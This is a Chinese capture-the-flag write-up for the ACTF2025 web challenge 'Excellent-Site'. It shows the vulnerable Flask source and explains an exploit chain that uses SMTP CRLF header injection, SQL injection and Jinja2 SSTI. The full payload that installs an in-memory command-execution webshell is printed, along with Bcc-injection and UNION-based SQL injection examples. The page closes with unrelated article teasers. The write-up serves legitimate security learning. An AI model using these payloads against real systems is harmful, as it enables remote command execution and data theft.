ACTF2025 - WEB Excellent-Site
#flask框架 #互联网 #利用CRLF进行头控制 #通过CRLF注入伪造 #利用sql注入进行回显控制 #Jinja2模板 #注意sql语句的相关转义可以控制查询结果
[[IMAP协议简介]] [[SMTP协议简介]]
app.py
import smtplib
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import * app = Flask(__name__) def get_subjects(username, password): imap_server = "ezmail.org" imap_port = 143 try: mail = imaplib.IMAP4(imap_server, imap_port) mail.login(username, password) mail.select("inbox") # 调用 `mail` 对象的 `select` 方法,选择邮箱中的 "inbox"(收件箱)文件夹,以便后续操作该文件夹中的邮件。 status, messages = mail.search(None, 'FROM "admin@ezmail.org"') #调用 `mail` 对象的 `search` 方法,在收件箱中搜索发件人地址为 "[admin@ezmail.org](mailto:admin@ezmail.org)" 的邮件。返回搜索状态 `status` 和 messages。 if status != "OK": return "" subject = "" latest_email = messages[0].split()[-1] #将匹配的邮件编号列表进行分割处理,获取最新的邮件编号赋值给变量 `latest_email` status, msg_data = mail.fetch(latest_email, "(RFC822)") #调用 `mail` 对象的 `fetch` 方法,获取指定编号 `latest_email` 的邮件完整数据(RFC822 格式),返回获取状态 `status` 和邮件数据 `msg_data`。 for response_part in msg_data: if isinstance(response_part, tuple): #判断当前响应部分是否为元组类型,如果是,则继续执行后续代码。msg = email.message_from_bytes(response_part [1]) #使用 `email.message_from_bytes` 函数,将响应部分中的邮件数据(字节类型)解析为邮件消息对象,赋值给变量 `msg`。 subject, encoding = decode_header(msg["Subject"]) [0] #调用 `decode_header` 函数,对邮件消息对象中的 "Subject"(主题)头部进行解码处理,获取主题内容和编码方式,并取第一个解码结果赋值给 `subject` 和 `encoding`。 if isinstance(subject, bytes): subject = subject.decode(encoding if encoding else 'utf-8') mail.logout() return subject except: return "ERROR"
#这段代码的主要功能是通过 IMAP 协议连接到指定的邮箱服务器,登录用户邮箱,搜索特定发件人的最新邮件,并获取该邮件的主题内容。def fetch_page_content(url): try: parsed_url = urlparse(url) #使用 `urlparse` 函数解析传入的 URL,返回一个包含 URL 各个组成部分的对象,赋值给变量 `parsed_url`。 if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org': return "SSRF Attack!" response = requests.get(url) if response.status_code == 200: return response.text else: return "ERROR" except: return "ERROR"
#这段代码的主要功能是获取指定 URL 的页面内容,但会先检查 URL 的协议和主机名以防止 SSRF 攻击,同时对请求过程中可能出现的错误进行基本的异常处理。如果请求成功且状态码为 200,则返回页面内容;否则返回相应的错误提示。@app.route("/report", methods=["GET", "POST"])
def report(): message = "" if request.method == "POST": url = request.form["url"] content = request.form["content"] smtplib._quote_periods = lambda x: x #- 这是对 `smtplib` 库中的 `_quote_periods` 函数进行篡改。正常情况下,`smtplib` 会处理邮件内容中的点号(`.`)等特殊字符,因为这些字符在邮件协议中有特殊含义。这里通过将其设置为一个简单的 lambda 函数(返回输入本身),禁用了这种处理。这种操作可能会导致邮件发送过程中出现不符合邮件协议标准的情况,但可能是为了特定的目的,如测试或绕过某些限制。mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n""" #- 定义了一个邮件内容的模板字符串。它包含邮件的发件人(`From`)、收件人(`To`)、主题(`Subject`)和正文内容(`{content}`)。其中 `{url}` 和 `{content}` 是占位符,将被后面格式化的实际值替换。邮件内容的格式是按照 RFC 822 标准(一种常用的电子邮件消息格式标准)来组织的。 try: server = smtplib.SMTP("ezmail.org") #创建一个 SMTP 客户端对象,连接到名为 “ezmail.org” 的邮件服务器。`smtplib.SMTP` 是 Python 中用于发送邮件的类,它负责与邮件服务器建立连接并发送邮件。mail_content = smtplib._fix_eols(mail_content) #使用 `smtplib` 库的 `_fix_eols` 函数对邮件内容进行处理。这个函数主要是为了确保邮件内容的行结束符符合邮件协议的要求。不过由于前面已经对 `_quote_periods` 进行了篡改,可能会对邮件内容的正确性产生影响。 mail_content = mail_content.format(url=url, content=content) #用实际获取的 `url` 和 `content` 值替换模板字符串中的 `{url}` 和 `{content}` 占位符,生成最终要发送的邮件内容。 server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content) #通过 SMTP 服务器发送邮件。`sendmail` 方法的第一个参数是发件人地址,这里使用的是 “[ignored@ezmail.org](mailto:ignored@ezmail.org)”;第二个参数是收件人地址,“[admin@ezmail.org](mailto:admin@ezmail.org)”;第三个参数是邮件内容,也就是经过格式化后的 `mail_content`。这个方法会将邮件发送到指定的收件人邮箱。 message = "Submitted! Now wait till the end of the world." except: message = "Send FAILED" return render_template("report.html", message=message) @app.route("/bot", methods=["GET"])
def bot(): requests.get("http://ezmail.org:3000/admin") #它用于发送一个HTTP GET请求。 return "The admin is checking your advice(maybe)" @app.route("/admin", methods=["GET"])
def admin(): ip = request.remote_addr if ip != "127.0.0.1": return "Forbidden IP" subject = get_subjects("admin", "p@ssword") if subject.startswith("http://ezmail.org"): page_content = fetch_page_content(subject) return render_template_string(f""" <h2>Newest Advice(from myself)</h2> <div>{page_content}</div> """) return "" @app.route("/news", methods=["GET"])
def news(): news_id = request.args.get("id") if not news_id: news_id = 1 conn = sqlite3.connect("news.db") cursor = conn.cursor() cursor.execute(f"SELECT title FROM news WHERE id = {news_id}") result = cursor.fetchone() #`cursor.fetchone()` 返回一个元组 conn.close() if not result: return "Page not found.", 404 return result[0] @app.route("/")
def index(): return render_template("index.html") if __name__ == "__main__": app.run(host="0.0.0.0", port=3000)
代码审计
smtplib
是 Python 的一个内置库,用于发送电子邮件。它实现了 SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)客户端的功能,允许程序通过 SMTP 服务器发送邮件。
“imaplib”是Python标准库中的一个模块,它提供了用于访问IMAP(Internet Message Access Protocol)服务器的接口。IMAP是一种用于接收电子邮件的协议,允许用户从邮件服务器上检索和管理电子邮件。
默认端口 143 加密993
get_subjects函数
mail.search方法
mail.search
返回的 messages
是一个元组,其中包含搜索到的邮件编号列表。具体来说:
mail.search(None, 'FROM "admin@ezmail.org"')
执行后,status
是一个表示搜索状态的字符串,messages
是一个元组,其中包含匹配的邮件编号。- 元组中的第一个元素是一个字符串,包含了所有匹配的邮件编号,这些编号是按照升序排列的,用空格分隔开。
- 例如,假设搜索到 3 个邮件,其编号分别是 1、5、8,那么
messages
可能是一个类似(b'1 5 8',)
的元组。 - 在代码中,
latest_email = messages[0].split()[-1]
这一行,先取元组的第一个元素messages[0]
,它是一个字节类型字符串(如b'1 5 8'
),然后用split()
方法按照空格分割成一个列表[b'1', b'5', b'8']
,最后通过[-1]
获取列表中的最后一个元素,也就是最新的邮件编号。
decode_header函数
“decode_header” 是一个函数,通常用于对电子邮件头部字段进行解码。电子邮件头部字段(如主题、发件人、收件人等)可能包含多种编码方式(如 Base64 编码、Quoted-Printable 编码等),以便在传输过程中正确处理特殊字符和非ASCII字符。这个函数的作用是将这些经过编码的头部字段解码为可读的文本格式,同时还会返回解码后的文本内容以及其对应的编码方式。
fetch_page_content函数
这段代码的主要功能是获取指定 URL 的页面内容,但会先检查 URL 的协议和主机名以防止 SSRF 攻击,同时对请求过程中可能出现的错误进行基本的异常处理。如果请求成功且状态码为 200,则返回页面内容;否则返回相应的错误提示。
路由
report
-
功能:允许用户提交URL和内容,通过SMTP邮件发送给管理员。
潜在漏洞: -
邮件头注入:用户控制的
url
或content
若包含换行符(\r\n
),可注入任意邮件头字段(如Bcc
、CC
),篡改收件人。
# 攻击示例:提交url为"test\r\nBcc: attacker@example.com"# 邮件内容会变为:# From: ... # To: ...# Subject: test# Bcc: attacker@example.com# ...
[[CRLF 编码]]
/bot
路由(GET)
- 功能:模拟管理员访问
http://ezmail.org:3000/admin
。
/admin
路由(GET)
功能:仅允许本地IP访问,读取管理员收件箱中的URL并访问其内容。
/news
路由(GET)
- 功能:根据
id
参数查询新闻标题。 - 代码关键点:
cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
- 潜在漏洞:
- SQL注入:直接拼接用户输入的
id
到查询语句,攻击者可执行任意SQL。
- SQL注入:直接拼接用户输入的
# 攻击示例:访问/news?id=1 UNION SELECT password FROM users# 返回结果包含用户密码
做题思路
脚本来自NowayBack战队大佬的wp ACTF x XCTF 2025 WP (qq.com)
/bot
和/admin
是链接在一起的,思路明确,通过/news
插入邮件再让bot解析即可,发现无回显打内容马,而且有转义问题,因为其中涉及sql语句
我们在report路由提交
url=http://ezmail.org:3000/news?id=0 union select "{{url_for.__globals__['__builtins__']['eval']('app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get(\'cmd\') and exec(\'global CmdResp;CmdResp=__import__(\\\'flask\\\').make_response(__import__(\\\'os\\\').popen(request.args.get(\\\'cmd\\\')).read())\')==None else resp)',{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}";%0d%0aFrom: admin@ezmail.org&content=123
利用[[CRLF 编码]] ,伪造了 From 这样在邮件中邮件的内容就会有
From: admin@ezmail.org
这样,对于在/admin 路由中发生作用的get_subjects函数将会把这个邮件中的主题 返回出来
这个subject的内容即
http://ezmail.org:3000/news?id=0 union select "{{url_for.__globals__['__builtins__']['eval']('app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get(\'cmd\') and exec(\'global CmdResp;CmdResp=__import__(\\\'flask\\\').make_response(__import__(\\\'os\\\').popen(request.args.get(\\\'cmd\\\')).read())\')==None else resp)',{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}";
再经fetch_page_content 函数访问这个url ,会返回响应内容,< page_content > 它将会呗模板渲染— 我们也就是在这进行SSTI,写入内存马
- ! 所以我们关键要控制 访问返回的内容 这个内容是ssti的payload
- ! 那么利用什么能很好地控制回显呢?
来看/news路由的处理
那么,就来到了 /news路由进行处理
这里利用了sql注入进行回显控制
我们用工具在本地看看这个过程是什么样的:
但上面的sql语句的相关转义本地并不通,于是要做这样的修改:
SELECT 1 UNION SELECT
'{{url_for.__globals__[''__builtins__''][''eval'']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get(''cmd'') and exec(\"global CmdResp; CmdResp=__import__(''flask'').make_response(__import__(''os'').popen(request.args.get(''cmd'')).read())\") == None else resp)",{''request'': url_for.__globals__[''request''], ''app'': url_for.__globals__[''current_app'']}
)}}';
可以看到,查询出来的就是我们可以进行ssti的payload
所以,在这里要注意sql语句的相关转义
-
关键修改:
-
外层用单引号(
'
)包裹字符串。 -
字符串内部的单引号替换为 两个单引号(
''
),例如[''__builtins__'']
。 -
删除多余的转义符(
\
),仅在需要保留的引号前使用。
-
然后就是内存马的ssti了,就不在这讨论了。
相关文章:
ACTF2025 - WEB Excellent-Site
#flask框架 #互联网 #利用CRLF进行头控制 #通过CRLF注入伪造 #利用sql注入进行回显控制 #Jinja2模板 #注意sql语句的相关转义可以控制查询结果 [[IMAP协议简介]] [[SMTP协议简介]] app.py import smtplib import imaplib import email import sqlite3 from urllib.pa…...
通过 Node.js 搭配 Nodemailer 实现邮箱验证码发送
目录 一、整体思路 二、环境准备 三、代码详细步骤 1. 引入模块并初始化 2. 配置 Nodemailer 邮件服务 3. 定义发送验证码接口 4. 定义校验验证码接口 5. 启动服务器 四、补充说明 一、整体思路 接收邮箱地址请求 → 用户在前端填写邮箱,发送到后端接口&…...
Java后端程序员学习前端之html
什么是html Hyper Text Markup Language(超文本标记语言) 超文本包括:文字、图片、音频、视频、动画等 组织:W3C World Wide Web Consortium(万维网联盟)。 成立子1994年,Web技术领域最权威和具影响力的国际中立性技术标准机构 http://www.w3.org! …...
[密码学实战]SDF之非对称运算类函数(三)
[密码学实战]SDF之非对称运算类函数(三) 一、标准解读:GM/T 0018-2023核心要求 1.1 SDF接口定位 安全边界:硬件密码设备与应用系统间的标准交互层 功能范畴: #mermaid-svg-4fs0ed6OYQs5fXlc {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:…...
MCP 架构全解析:Host、Client 与 Server 的协同机制
目录 🏗️ MCP 架构全解析:Host、Client 与 Server 的协同机制 📌 引言 🧩 核心架构组件 1. Host(主机) 2. Client(客户端) 3. Server(服务器) &#…...
第三部分:赋予网页灵魂 —— JavaScript(下)
目录 7 DOM 操作:控制网页的"智能面板7.1 小例子:点击按钮时改变段落文字,根据用户输入改变图片7.2 练习:实现一个简单的 Tab 切换效果 8 事件处理:响应用户的"指令"8.1 小例子:实现点击按钮…...
(02)Redis 的订阅发布Pub/Sub
我们为了自己实现一个MQ功能,就要深入底层挖掘现有开源产品的实现过程。 Redis 发布订阅底层结构解析 Redis 不存储消息,仅作为“实时中转”;只有订阅者在线时才能收到消息;消息是广播给所有订阅此频道的客户端。 1. 核心数据结…...
JavaScript性能优化实战:从基础到高级的全面指南
作为前端开发者,掌握JavaScript性能优化是提升用户体验和职业竞争力的关键。本文将系统性地介绍JavaScript性能优化的各个方面,从基础概念到高级技巧,帮助你编写更高效的代码。 一、JavaScript性能优化基础概念 1.1 什么是JavaScript性能优…...
CertiK创始人顾荣辉出席Unchained Summit,探讨Web3.0安全与合规路径
4月28日,CertiK联合创始人、哥伦比亚大学教授顾荣辉出席迪拜Unchained Summit峰会并发表主题演讲,探讨Web3.0在创新与安全间的平衡,引发网易科技、中国财经时报、腾讯网、新浪财经等多家知名媒体的关注和报道。 作为迪拜最重要的峰会之一&am…...
企业出海降本:如何将应用从 AWS EC2 快速无缝迁移至DigitalOcean Droplet
企业出海已经成为目前最热门的趋势。然而不论你是做跨境电商,还是短剧出海,或处于最热门的AI 赛道,你都需要使用海外的云主机或GPU云服务。海外一线的云服务平台尽管覆盖区域广泛,但是往往费用成本较高。所以降本始终是企业出海关…...
java练习2
package a01_第一次练习.a02_计算输入天数;import java.text.ParseException; import java.time.Duration; import java.time.LocalDateTime; import java.util.Scanner;public class Test {public static void main(String[] args) throws ParseException {//当前时间LocalDat…...
PDM是什么?PDM有什么用?怎么选PDM?2025制造PDM/PLM系统盘点(4000字)
(文章来自CRDE PDM研究中心) 摘要 PDM是制造企业产品数据管理的核心工具,并逐渐发展出了PLM、云PLM等新形态,在功能增加的同时成本也有大幅降低,已经成为企业研发管理的最优选择,并逐渐被有产品创新需求的…...
TiDB 可观测性最佳实践
TiDB 介绍 TiDB,由 PingCAP 公司自主研发的开源分布式关系型数据库,是一款创新的 HTAP 数据库产品,它融合了在线事务处理(OLTP)和在线分析处理(OLAP)的能力,支持水平扩容和缩容&…...
8.idea创建maven项目(使用Log4j日志记录框架+Log4j 介绍)
8.idea创建maven项目(使用Log4j日志记录框架Log4j 介绍) 在 IntelliJ IDEA 的 Maven 项目中引入了 Log4j,并配置了日志同时输出到控制台和文件。 Log4j 提供了灵活的日志配置选项,可以根据项目需求调整日志级别、输出目标和格式。 1. 创建 Maven 项目 …...
Linux 命名管道+日志
一、命名管道 1.1 进程通信的前提:先让不同进程看到同一份资源; 1.2 如何确保两个进程打开的是同一个文件:同路径下同一文件名; 1.3 命名管道:通过路径文件名确保这个份资源的唯一性; 1.4 接口…...
c/c++之信号处理<signal.h>
该库提供了一组用于处理信号的函数和宏。信号是由操作系统或程序本身生成的一种异步事件,用于通知某些事件的发生,例如非法操作、用户中断等。 信号 信号是进程之间通信的重要方式。信号是一种异步通知机制,由操作系统或其他进程发送给当前进…...
基于PyTorch的图像分类特征提取与模型训练文档
概述 本代码实现了一个基于PyTorch的图像特征提取与分类模型训练流程。核心功能包括: 使用预训练ResNet18模型进行图像特征提取 将提取的特征保存为标准化格式 基于提取的特征训练分类模型 代码结构详解 1. 库导入 import torch import torch.nn as nn import…...
DDoS vs CC攻击:哪种对服务器威胁更大?
引言 DDoS(分布式拒绝服务)与CC(Challenge Collapsar)攻击是两种常见的网络攻击手段,均会导致服务器资源耗尽、服务中断。但它们的攻击原理、防御难度及危害程度存在显著差异。本文将从技术原理、攻击效果、防御成本等…...
Weiss Robotics的WPG与WSG系列紧凑型机器人夹爪,精准、灵活、高效
在自动化和智能制造领域,Weiss Robotics 以其创新的智能抓取系统而受到广泛认可。本文将重点介绍 Weiss Robotics 的两大产品系列:WPG 系列和 WSG 系列。这些产品系列凭借其先进的技术特性,为各行各业的自动化需求提供了高效、灵活的解决方案…...
引力透镜效应添加光线弯曲程度可视化层的MATLAB代码
物理实现要点: 雅可比矩阵计算 通过数值梯度计算偏转场的空间导数: 放大率μ反映像的亮度增强倍数 动态范围处理 使用对数压缩μ值范围:μ_vis log10(1μ),避免高放大率区域饱和 多物理量联合显示 红圈标注爱因…...
OpenCV 图形API(71)图像与通道拼接函数-----从图像(GMat)中裁剪出一个矩形区域的操作函数 crop()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 裁剪一个2D矩阵。 该函数根据给定的 cv::Rect 裁剪矩阵。 输出矩阵必须与输入矩阵具有相同的深度,大小由给定的矩形大小指定。 注意…...
tarjan缩点+强联通分量
【模板】缩点https://www.luogu.com.cn/problem/P3387 首先我们要理解这道题为什么要用缩点 题目说的是有向图,如果无环的话就可以用DP来解决了 由于可以走重复的点,所以一个环上的点可以看成是一个点,它的点权就等于该环上所有点的点权之…...
tornado_登录页面(案例)
目录 1.基础知识编辑 2.脚手架(模版) 3.登录流程图(processon) 4.登录表单 4.1后(返回值)任何值:username/password (4.1.1)app.py (4.1.2ÿ…...
Educational Codeforces Round 178 (Rated for Div. 2)
ABC 略 D n个数互质,即n个数都是质数,预处理前4e5个质数,原排列从大到小排序求前缀和,质数求前缀和,从后往前循环第一个前者前缀和能大于等于后者就是留下的i个数。 #include<bits/stdc.h> #define int long …...
从Transformer原理角度来看,prompt设置输出字数限制会生效的原因
从Transformer原理角度来看,prompt设置输出字数限制会生效的原因 1. 生成过程的控制 Transformer在生成文本时是一个自回归的过程,它从起始标记开始,逐个生成下一个单词或标记。在这个过程中,模型会根据已经生成的文本和自身的参数来预测下一个可能的标记的概率分布。当设…...
WEB漏洞--CSRF及SSRF案例
CSRF案例 原理 检测是否存在CSRF(跨站请求伪造)漏洞 1. 手动测试 构造恶意请求:创建一个恶意网页或电子邮件,包含指向目标网站的恶意请求(如更改密码或发送消息的URL)。诱使用户访问该恶意请求,…...
Android开发——实现一个计算器
目录 代码讲解 activity_calculator.xmld代码讲解 1. 根布局(LinearLayout) 2. 显示区域(TextView) 3. 按钮区域(GridLayout) 4. 清除和删除按钮 5. 数字和操作符按钮 6. 其他行的按钮 7. 最后一行…...
23G显存可以跑多大尺寸的Qwen3?
随着阿里Qwen3系列大模型的发布,开发者们对如何在有限显存下部署不同尺寸的模型尤为关注。本文基于Qwen3的技术特性和实际测试数据,探讨在23G显存环境下可运行的模型选择及优化策略。 不过由于咱财力有限,只有一张A100,还不是空的,目前只有23G的显存。 那么这23G显存能跑…...
网络通讯【QTcpServer、QTcpSocket、QAbstractSocket】
目录 QTcpServer class简单描述成员函数和信号 QTcpSocket Class详细描述成员函数和信号 QAbstractSocket Class详细描述成员函数和信号成员函数说明文档 QT实现服务器和客户端通讯服务器端:通讯流程原代码 客户端通信流程原代码 QTcpServer class header: #includ…...
std::functional 类是干什么用的?
author: hjjdebug date: 2025年 04月 29日 星期二 15:54:53 CST description: std::functional 类是干什么用的? 文章目录 1.functional 对象的概念2.functional 对象存在的意义2.1 为什么要把接口再封一层?2.2 c中函数参数可以不用回调函数, 而改用func…...
人事管理系统6
模糊查询 DepartmentMapper.xml : <select id"findDepartmentListByName" resultMap"BaseResultMap"> select <include refid"Base_Column_List"/> from department where dname like %${dname}% /*where dname like con…...
链表的中间节点
这题需要用到快慢指针的思想,快指针叫fast,慢指针是slow,快指针每次往后移两个节点,slow只移动一个节点,这样子fast的速度是slow的两遍,当fast遍历完链表,slow才遍历一半,正好就在中…...
【学习学学】城市群与都市圈是什么?怎么
城市群与都市圈是什么?怎么发展 这些年城市群,都市圈的概念被逐渐提了出来,也是未来我国即将重点发展的对象之一。 因此,身边有一些朋友在问,城市群与都市圈有什么区别?哪个对城市发展影响更大?…...
【深度学习与大模型基础】第14章-分类任务与经典分类算法
Part 1:什么是分类任务? 1.1 分类就是“贴标签” 想象你有一堆水果,有苹果🍎、橘子🍊、香蕉🍌,你的任务是让机器学会自动判断一个新水果属于哪一类——这就是分类(Classification&…...
第十五章:预训练大语言模型
目录 15.1 数据准备 15.1.1 数据预处理 15.1.2 数据调度 15.2 模型架构 15.2.1 主流架构 一、编码器架构(Encoder-only,以 BERT 为代表) 核心特点: 代表模型:BERT、RoBERTa、ALBERT 典型应用: 二…...
万象生鲜配送系统代码2025年4月29日更新日志
亲爱的用户:万象生鲜配送系统始终致力于为您提供更优质、高效的服务体验。经过我们技术团队的不懈努力,万象生鲜配送系统在 2025 年 4 月迎来了一次重大更新。本次更新涵盖了多个方面,包括功能新增、性能优化以及问题修复,旨在进一…...
Mac 创建QT按钮以及一些操作
在创建QT项目好 后我们打开mainwindow.cpp,下面所示的代码都是在这个cpp文件里面因为它是窗口的入口函数 #include "mainwindow.h" #include "ui_mainwindow.h" #include<QPushButton>//按钮的头文件MainWindow::MainWindow(QWidget *pa…...
C++学习之shell高级和正则表达式
目录 1.正则表达式 2.C中使用正则 3.复习 4.sort命令 5.uniq命令 6.wc命令 7.grep命令 8.find命令 9.xargs命令 10.sed命令 11.awk命令 12.crontab 1.正则表达式 1 管道 使用| 将多个命令拼接在一起 原理,就是将前一个命令的标准输出作为后一个…...
SpringBoot获取用户信息常见问题(密码屏蔽、驼峰命名和下划线命名的自动转换)
文章目录 一、不返回password字段二、返回的createTime和updateTime为空原因解决:开启驼峰命名和下划线命名的自动转换 一、不返回password字段 在字段上面添加JsonIgnore注解即可 JsonIgnore // 在把对象序列化成json字符串时,忽略该字段 private Str…...
优化PCB Via Stub系列(2) – 运用U-Turn Via设计破解阻抗匹配困境,改善信号完整性
在PCB设计中,往往透过制程改善如背钻、盲孔或埋孔,来消除不必要的Via stub,可是多出来的制造成本会压低产品的毛利,可是又有什么办法可以不透过制程改善以缩小Via stub带来的SI困扰呢? 本周我们来讲从Layout布局的角度…...
飞鸟游戏模拟器 1.0.3 | 完全免费无广告,内置大量经典童年游戏,重温美好回忆
飞鸟游戏模拟器是一款专为安卓用户设计的免费游戏模拟器,内置了大量经典的童年游戏。该模拟器拥有丰富的游戏资源,目前已有约20,000款游戏,包括多种类型如冒险、动作、角色扮演等。用户可以直接搜索查找想要玩的游戏进行下载并启动。游戏库中…...
钓鱼网页散播银狐木马,远控后门威胁终端安全
在当今网络环境下,许多人都有通过搜索引擎下载应用程序的习惯,虽然这种方式简单又迅速,但这也可能被不法分子所利用,通过设置钓鱼网站来欺骗用户。这些钓鱼网站可能会通过各种方式吸引用户点击,从而进行病毒的传播&…...
一文读懂 JavaScript 中的深浅拷贝
在 JavaScript 编程里,深浅拷贝是处理数据时极为关键的概念。理解它们的差异,能帮我们规避许多数据操作上的 “陷阱”。今天,咱们就借助简单的 “abc” 相关示例,深入探索深浅拷贝的奥秘,并且通过在浏览器控制台输出结…...
5G技术在工业4.0中的应用:连接未来,驱动智能制造
5G技术在工业4.0中的应用:连接未来,驱动智能制造 引言 工业4.0,作为第四次工业革命的核心,已经在全球范围内掀起了智能制造的浪潮。它不仅包括了自动化生产、智能物流、云计算和大数据的应用,更是融合了互联网、物联网…...
驱动开发硬核特训 · Day 25 (附加篇):从设备树到驱动——深入理解Linux时钟子系统的实战链路
一、前言 在嵌入式Linux开发中,无论是CPU、外设控制器,还是简单的GPIO扩展器,大多数硬件模块都离不开时钟信号的支撑。 时钟子系统(Clock Subsystem),作为Linux内核中基础设施的一部分,为设备…...
数据结构---单链表的增删查改
前言: 经过了几个月的漫长岁月,回头时年迈的小编发现,数据结构的内容还没有写博客,于是小编赶紧停下手头的活动,补上博客以洗清身上的罪孽 目录 前言 概念: 单链表的结构 我们设定一个哨兵位头节点给链…...
【codeforces 2104D,E】欧拉筛,字符串上dp
【codeforces 2104D,E】欧拉筛,字符串上dp Problem - D - Codeforces 题意: 给定一个长度为 n n n的数组 a 1 , a 2 , . . . , a n a_1, a_2, ... , a_n a1,a2,...,an,其中 2 ≤ a i ≤ 1 0 9 2 \leq a_i \leq 10^9 2≤…...
UEC++第15天|番茄插件、实现跳跃、实现背景运动
这是flyBird的第二天,做了一些简单的功能,明天继续更新 vs的番茄插件 在visual stdudio里使用可以帮助代码补全,这一篇博客写的不错,大家可以参考一下。VS2019 安装番茄助手(Visual Assist x 插件)攻略_vs…...
论文笔记-基于多层感知器(MLP)的多变量桥式起重机自适应安全制动与距离预测
《IET Cyber-Systems and Robotics》出版山东大学 Tenglong Zhang 和 Guoliang Liu 团队的研究成果,文章题为“Adaptive Safe Braking and Distance Prediction for Overhead Cranes With Multivariation Using MLP”。 摘要 桥式起重机的紧急制动及其制动距离预测是…...
[论文阅读]Adversarial Semantic Collisions
Adversarial Semantic Collisions Adversarial Semantic Collisions - ACL Anthology Proceedings of the 2020 Conference on Empirical Methods in Natural Language Processing (EMNLP) 对抗样本是相似的输入但是产生不同的模型输出,而语义冲突是对抗样本的逆…...